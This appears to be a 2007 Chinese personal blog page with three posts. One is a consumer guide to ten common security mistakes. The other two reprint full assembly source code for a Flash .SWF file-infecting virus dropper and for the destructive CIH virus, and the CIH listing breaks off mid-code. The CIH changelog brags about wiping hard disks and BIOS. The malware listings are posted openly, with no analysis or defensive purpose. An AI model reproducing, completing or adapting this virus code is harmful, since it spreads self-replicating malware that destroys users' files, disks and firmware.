博主资料

留言短消息 加为好友 收藏

用户ID:  445972
昵称:  plaodj
来自:  湖南 长沙
年龄:  22
爱好: 焦点访谈

欢迎您的到来!

劲哥哥诚挚的欢迎您的到来!

日历

2007 - 12
      1
2345678
9101112131415
16171819202122
23242526272829
3031     
«» 2007 - 12 «»

日志分类

个人统计

用户名: plaodj
等级: 四星会员
威望: 430
金钱: 12135
在线时间: 417 小时
日志总数: 2337
评论数量: 663
访问次数: 11083255
建立时间: 2005-09-10
RSS订阅       手机访问

日志文章列表

2007年12月16日 19:22:26

避免做十件导致操作系统不安全的蠢事

系统安全中用户们总会用层出不穷的方法给自己惹上麻烦。他们会使用共享软件使自己暴露在入侵者面前或者忘记使用电压保护装置。与您的用户分享这个傻事清单,能够避免他们犯这些 原本可以避免发生的错误。
我们都做过傻事,计算机用户当然也不例外。无意中按错组合键或者在不知情的情况下在报错对话框上选了“确定”都可能会改变重要设置,这样会影响计算机的行为,甚至导致系统崩溃。
紧张的新手经常会害怕某个错误操作会永久破坏计算机。幸运的是,结果并没有想象的那么严重。虽然如此,但是用户还是经常给计算机以及您的网络创造各种麻烦。以下是一些 您和您的用户能够引以为戒,远离可预防的问题的常见错误。
1、使用没有过电压保护的电源
这个错误真的能够毁掉计算机设备以及上面所保存的数据。您可能以为只在雷暴发生时,系统才会有危险,但其实任何能够干扰电路使电流回流的因素都能烧焦你的设备元件。有 时甚至一个简单的动作,比如打开与电脑设备同在一个电路中的设备(特别是电吹风、电加热器或者空调等高压电器)就能导致电涌,或者树枝搭上电线也能导致电涌。如果遇到 停电,当恢复电力供应时也会出现电涌。
使用电涌保护器就能够保护系统免受电涌的危害,但是请记住,大部分价钱便宜的电涌保护器只能抵御一次电涌,随后需要进行更换。不间断电源(UPS)更胜于电涌保护器,UPS 的电池能使电流趋于平稳,即使断电,也能给你提供时间从容的关闭设备。
2、不使用防火墙就上网
许多家庭用户会毫不犹豫的将电脑接上漂亮的新电缆或者DSL调制解调器开始上网,而没有意识到他们正将自己暴露在病毒和入侵者面前。无论是宽带调制解调器或者路由器中内置 的防火墙,还是调制解调器或路由器与电脑之间的独立防火墙设备,或者是在网络边缘运行防火墙软件的服务器,或者是电脑上安装的个人防火墙软件(如Windows XP中内置的ICF/Windows 防火墙,或者类似Kerio 或ZoneAlarm的第三方防火墙软件),总之,所有与互联网相连的计算机都应该得到防火墙的保护。
笔记本电脑上安装的个人防火墙的好处在于,当用户带着电脑上路或者插入酒店DSL或电缆端口,或者与无线热点相连接时,已经有了防火墙。拥有防火墙不是全部,你还需要确认 防火墙已经开启,并且配置得当,能够发挥保护作用。

3、忽视防病毒软件和防间谍软件的运行和升级
让我们面对现实: 防病毒程序非常令人讨厌。他们总是阻断一些你想要使用的应用,有时你不得不在安装新软件时先停止防病毒程序。而且为了保证效用,不得不经常进行升级。好象原来的版本总 是要过期,并催促您进行升级,在很多情况下,升级都是收费的。但是在现在的环境下,你无法承担不使用防病毒所带来的后果。 病毒、木马、蠕虫等恶意程序不仅会削弱和破坏系统,还能通过您的电脑向网络其他部分散播病毒。在极端情况下,甚至能够破坏整个网络。
间谍软件是另外一种不断增加的威胁;这些软件能够自行在电脑上进行安装(通常都是在你不知道的情况下),搜集系统中的情报然后发送给间谍软件程序的作者或销售商。防病 毒程序经常无法察觉间谍软件,因此请务必使用一个专业的间谍软件探测清除软件。
4、安装和卸载大量程序,特别是测试版程序
由于用户对最新技术的渴望,经常安装和尝试新软件。免费提供的测试版程序能够使您有机会抢先体验新的功能。另外还有许多可以从网上下载的免费软件和共享软件。我们知道有些用户还曾经安装盗版软件或者“warez”。
您安装的软件数量越多,您使用含有恶意代码的软件,或者使用编写不合理能够导致系统工作不正常或者崩溃的软件的几率就更高。这样的风险远高于使用盗版软件。
即使您只会安装经过授权的最终版本的的商业软件,过多的安装和卸载也会弄乱注册表。不是所有的卸载步骤都能将程序剩余部分清理干净,这样的行为会导致系统逐渐变慢。
您应该只安装您真正需要使用的软件,只使用合法软件,并且尽量减少安装和卸载软件的数量。
5、磁盘总是满满的并且非常凌乱
频繁安装和卸载程序(或增加和删除任何类型的数据)都会使磁盘变得零散。信息在磁盘上的保存方式导致了磁盘碎片的产生:在新的空磁盘中保存文件时,文件被保存在连续的 簇上。如果您删除的文件占用了5个簇,然后保存了一个占用8个簇的文件,那么头5个簇的数值会保存在删除产生的5个空簇中,剩余的3个则保存在下三个空的簇中。这样就使得文 件变得零散或者分裂。然后在访问文件时,磁头不会同时找到文件的所有部分,而是到磁盘的不同地址上找回全部文件。这样使得访问速度变慢。如果文件是程序的一部分,程序的运行速度就会变慢。过于零散的磁盘运行速度极慢就象在爬行一样。
你可以使用Windows里带有的磁盘碎片整理工具(程序  附件   系统工具) 或者第三方磁盘碎片整理工具defrag来重新安排文件的各个部分,以使文件在磁盘上能够连续存放。
另外一个常见的能够导致性能问题和应用行为不当的原因是磁盘过满。许多程序都会生成临时文件,运行时需要磁盘提供额外空间。你可以使用Windows XP的磁盘清理工具或者第三方程序查找和删除很少用到的文件,或者你也可以手动删除文件来释放磁盘空间。

6、打开所有的附件
有些人就是无法控制自己:收到带有附件的电子邮件就好象收到一份意料之外的礼物。你只是想窥视一下是什么附件。但是就好象您门前的包裹里可能有炸弹一样,电子邮件中的 文件附件可能包含能够删除文件或系统文件夹,或者向地址簿中所有联系人发送病毒的编码。
最容易被洞察的危险附件是可执行文件(即可以运行的编码),扩展名为.exe,.cmd以及其他很多类型。不能自行运行的文件,如Word的.doc文件,以及Excel的.xls文件,能够含有内置的宏。脚本(Visual Basic, JavaScript, Flash等) 不能被计算机直接执行,但是可以通过程序进行运行。
过去一般认为纯文本文件(.txt)或图片文件(.gif, .jpg, .bmp)是安全的,但是现在不是了。文件扩展名也可以伪装;入侵者能够利用Windows默认的不显示普通的文件扩展名的设置,将可执行文件名称设为类似greatfile.jpg.exe这样。 实际的扩展名被隐藏起来,只显示为greatfile.jpg。这样收件人会以为它是图片文件,但实际上却是恶意程序。
您只能在确信附件来源可靠并且您知道是什么内容的情况下才可以打开附件。即使带有附件的邮件看起来似乎来自你可以信任的人,也有可能是某些人将他们的地址伪装成这样, 甚至是发件人的电脑已经感染了病毒,在他们不知情的情况下发送了附件。
7、点击所有链接
打开附件不是鼠标所能带给您的唯一麻烦。点击电子邮件或者网页上的超级链接能将您带入植入ActiveX控制或者脚本的网页,利用这些就可能进行各种类型的恶意行为,如清除硬 盘,或者在计算机上安装后门软件,这样黑客就可以潜入并夺取控制权。
点错链接也可能会带您进入具有色情图片,盗版音乐或软件等不良内容的网站。如果您使用的是工作电脑可能会因此麻烦缠身,甚至惹上官司。
请不要向“点击狂燥症”屈服。在点击链接之前请务必考虑一下。有些链接可能被伪装在网络钓鱼信息或者那些可能将你带到别的网站的网页里。
8、共享或类似共享的行为
老师教导我们分享是一种良好的行为,但是在网络上,分享则可能将你暴露在危险之中。如果您允许文件和打印机共享,别人就可以远程与您的电脑连接,并访问您的数据。即使 您没有设置共享文件夹,在默认情况下,Windows系统会隐藏每块磁盘根目录上可管理的共享。一个黑客高手有可能利用这些共享侵入您的电脑。解决方法之一就是,如果您不需要 网络访问您电脑上的任何文件,就请关闭文件和打印机共享。如果您是通过公用无线热点上使用笔记本进行连接。
如果你确实需要共享某些文件夹,请务必通过共享级许可和文件级(NTFS)许可对文件夹进行保护。另外还要确保您的帐号和本地管理帐号的密码足够安全。
9、用错密码
这也是使得我们暴露在入侵者面前的又一个常见错误:用错密码。即使您的网络环境中没有管理员强迫您选择强大的密码并定期更换,您也应该这样做。不要选用容易被猜中的密 码,如您的生日,爱人的名字,社会保险号码等。密码越长越不容易被破解,因此您的密码至少为8位,14位就更好。常用的密码破解方法采用“字典”破解法,因此不要使用字典 中能查到的单词做为密码。为安全起见,密码应该由字母、数字以及符号组合而成。
很长的无意义的字符串密码很难被破解,但是如果你因为记不住密码而不得不将密码写下来的话,就违背了设置密码的初衷,因为入侵者可能会找到密码。可以造一个容易记住的 短语,并使用每个单词的第一个字母,以及数字和符号生成一个密码。例如,使用“My cat ate a mouse on the 5th day of June”可以得到密码“Mc8amot5doJ。”
10、忽视对备份和恢复计划的需要
即使您听取了所有的建议,入侵者依然可能弄垮您的系统,您的数据可能遭到篡改,或因硬件问题而被擦除。因此备份重要信息,制定系统故障时的恢复计划具有相当重要的地位。
大部分计算机用户都知道应该备份,但是许多用户从来都不进行备份,或者最初做过备份但是从来都不定期对备份进行升级。使用内置的Windows备份程序(Windows NT, 2000, 及XP 中内置的Ntbackup.exe)或者第三方备份程序以及可以自动进行备份的定期备份程序。所备份的数据应当保存在网络服务器或者远离计算机自身的可移动驱动器中,以防止洪水、火 灾以及龙卷风等灾难情况的发生。
请牢记数据是您计算机上最重要的东西。操作系统和应用都可以重新安装,但是重建原始数据则是难度很高甚至根本无法完成的任务。
尽管如此,备份系统信息也可以节省时间,减少受挫。你可以使用常用的ghost或者克窿程序创建磁盘镜像。这样就可以快速恢复系统,而无需经过冗长乏味的安装过程。

类别: 无分类 |  评论(0) |  浏览(10508) |  收藏
2007年12月16日 19:19:09

国外的第一只[感染*.swf]flash病毒的源代码

SWF/LFM-926 Virus:
; ------------------
; Description: WinNT/XP Virus dropper for Flash .SWF files!
; Masm Version 6.11: ML.EXE SWF.ASM
; Virus Size: 926 bytes
; Infection Size: 3247 bytes.
; Last Edit: 01/08/2002
; --------------------------------- Begin Source Code ------------------------------------

.286
.model tiny
.code
org 100h Entry: jmp Start
VIR_SIZE equ Virus_End-Entry
DTA db 128 dup(0) ; Offset DTA+30 = filename
HANDLE dw ? ; Handle to host file
PTR1 dd 0 ; Segment address of the created memory block
PATH db "*.SWF",0 ; File mask
BINARY db "v.com",0 ; Binary code
HEX db "0123456789ABCDEF" ; Binary to hex
; Flash header block.
; -------------------
SIGN_FW dw ? ; SWF file format
SIGN_S db ?
VERSION_NUM db ?
FILE_LENGTH dw ?
dw ?
STATIC_HDR_SIZE equ $-SIGN_FW
RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
RECT_BUF_SIZE equ $-RECT_BUF
HDR_SIZE dw ? ; Holds the true header size!
; Start of Viral Frame 0.
; -----------------------
Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
dw 0
db 083h ; ActionGetUrl Tag
ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
db FSCommand:exec
db 000h
db cmd.exe
db 009h ; chr(9) is Flash code for a space character.
db /c
db 009h
db echo
db 009h
db Loading.Flash.Movie...
db &
db (echo
db 009h
db n
db 009h
db v.com&echo
db 009h
db a
db 009h
db 100&
Drop_BEGIN_SIZE equ $-Drop_BEGIN
Drop_MIDDLE db echo
db 009h
db db
db 009h
db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
db &
Drop_MIDDLE_SIZE equ $-Drop_MIDDLE
Drop_END db &echo.&echo
db 009h
db rcx&echo
db 009h
db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
db &echo
db 009h
db w&echo
db 009h
db q)|debug.exe>nul&start
db 009h
db /b
db 009h
db v.com
db 000h ; StringEnd Tag
Drop_END_SIZE equ $-Drop_END
; End of Viral Frame 0.
; ---------------------
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag
Start:
mov ax,(VIR_SIZE+0fh)
shr ax,4
shl ax,1
mov bx,ax ; Allocate (VirusSize*2)
mov ah,4ah
int 21h ; Resize block
jc ExProg
mov dx,offset DTA ; Set DTA operation
mov ah,1ah
int 21h
mov cx,07h
mov dx,offset PATH
mov ah,4eh ; FindFirst
int 21h
jc ExProg
jmp Infect
Cycle:
mov dx,offset PATH
mov ah,4fh ; FindNext
int 21h
jc ExProg
jmp Infect
ExProg:
mov ax,4301h ; Hide v.com
mov cx,02h
mov dx,offset BINARY
int 21h
mov ax,4c00h ; End program
int 21h
Infect:
mov byte ptr DTA[30+12],$
mov dx,offset (DTA+30)
mov ax,3d02h ; Open host file
int 21h
jc ExProg
mov [HANDLE],ax ; Save file handle
mov ax,3f00h ; Read file Header
mov dx,offset SIGN_FW
mov bx,[HANDLE]
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
int 21h
jc ExProg
cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
jne Cycle ; Try another file ...
cmp byte ptr SIGN_S,S
jne Cycle
cmp byte ptr VERSION_NUM,099h ; Already infected?
je Cycle
mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
xor di,di ; Seems to always exist directly after the header.
next: cmp byte ptr RECT_BUF[di],043h
jne not_found
cmp byte ptr RECT_BUF[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp Cycle
found:
mov word ptr HDR_SIZE,STATIC_HDR_SIZE
add word ptr HDR_SIZE,di ; Compute the header size
mov ax,4200h ; Reset file ptr right after Flash header
xor cx,cx
mov dx,[HDR_SIZE]
int 21h
jc ExProg
push bx
mov ax,word ptr FILE_LENGTH
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; Allocate memory for target host file
int 21h
pop bx
jc ExProg
mov word ptr PTR1[2],ax ; Save pointer to allocated block
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ah,3fh ; Read host file into memory block
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
mov ax,4200h ; Reset file ptr to the middle code section
xor cx,cx
mov dx,[HDR_SIZE]
add dx,Drop_BEGIN_SIZE
int 21h
jc ExProg
;
; The following code is a key technique. It simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that DEBUG.EXE expects! Flash only really
; allows plain text, so this satisfies that condition.
;
mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
push bx
mov cx,VIR_SIZE
xor si,si
xor di,di
ToHex:
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
mov al,byte ptr Entry[si]
mov ah,al
and al,00001111y
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
shr ax,12
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
mov dx,offset Drop_MIDDLE
mov cx,Drop_MIDDLE_SIZE
mov ax,4000h
int 21h
jc ExProg
pop cx
cont:
loop ToHex
pop bx
or di,di
jz no_remainder
mov dx,offset Drop_MIDDLE
mov cx,di
add cx,7 ; STATIC_HDR_SIZE-1
add word ptr ACTION_LENGTH,cx
mov ax,4000h ; Write remainder hex dump entry XX,...,XX
int 21h
jc ExProg
no_remainder:
mov dx,offset Drop_END
mov cx,Drop_END_SIZE+1
mov ax,4000h ; Write end code and end of frame tag(01) into host
int 21h
jc ExProg
mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ax,4000h ; Write host code directly after viral code.
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
; Patch the header with new viral values.
mov cx,word ptr ACTION_LENGTH
add cx,4
mov word ptr TAG_LENGTH,cx
add cx,6
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
; Set infection marker
mov byte ptr VERSION_NUM,099h
mov di,[HDR_SIZE]
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1
mov ax,4200h ; Re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc ExProg
mov dx,offset SIGN_FW
mov cx,[HDR_SIZE]
mov ax,4000h ; Write updated viral header
int 21h
jc ExProg
mov dx,offset Drop_BEGIN
mov cx,Drop_BEGIN_SIZE
mov ax,4000h ; Write begin code into host
int 21h
jc ExProg
mov ah,49h ; Free memory block
mov es,word ptr PTR1[2]
int 21h
jc ExProg
mov ax,3e00h ; Close file
int 21h
jc ExProg
jmp Cycle ; DONE! Try to infect another.
Virus_End:
end Entry



类别: 无分类 |  评论(0) |  浏览(10313) |  收藏
2007年12月16日 19:10:35

著名超级病毒CIH源码

;****************************************************************************
; * The Virus Program Information *
; ****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
: *==========================================================================*
: * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; *==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
; *==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
; ****************************************************************************
.586P ;586
; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; ****************************************************************************
; * My Virus Game *
; ****************************************************************************
; *********************************************************
; * Constant Define *
; *********************************************************
TRUE = 1
FALSE = 0
DEBUG = FALSE
MajorVirusVersion = 1
MinorVirusVersion = 4
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion

IF DEBUG ;
FirstKillHardDiskNumber = 81h ;KILL“d:”
HookExceptionNumber = 05h ;pr#5
ELSE
FirstKillHardDiskNumber = 80h ;KILL“c:”
HookExceptionNumber = 03h r#3
ENDIF

FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax
sidt [esp-02h] ; Get IDT Base Address ?;
pop ebx
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point ?;
lea esi, MyExceptionHook-@1[ecx]
push esi ?;esi
mov [ebx-04h], si
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException;
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax ;esi
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Aga
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti ;开中断
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
;
push 00000000fh
push ecx
push 0ffffffffh
push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags);
push ecx
push ecx
push 000000001h
push 000000002h
int 20h ; VMMCALL _PageAllocate;VXD调用
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h ;
xchg edi, eax ; EDI = SystemMemory Start Address
;
lea eax, MyVirusStart-@2[esi] ;eax
iretd ; Return to Ring3 Initial Program ;(看懂一点 RESORE 反回"Merge All Virus Code Section")
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h ; Use EAX, ECX, EDX, and flags
;在调用后变为call [IFSMgr_InstallFileSystemApiHook]
mov dr0, eax ; Save OldFileSystemApiHook Address
;
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;
mov OldInstallFileSystemApiHook-@3[eax], edx ?
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ?;
;
cli
jmp ExitRing0Init ?;
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ?
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5
@5:
pop esi ; mov esi, offset ;e
add esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !? *
; *************************************
test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc ;
; *************************************
; * Is OpenFile !? *
; *************************************
; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h] ;
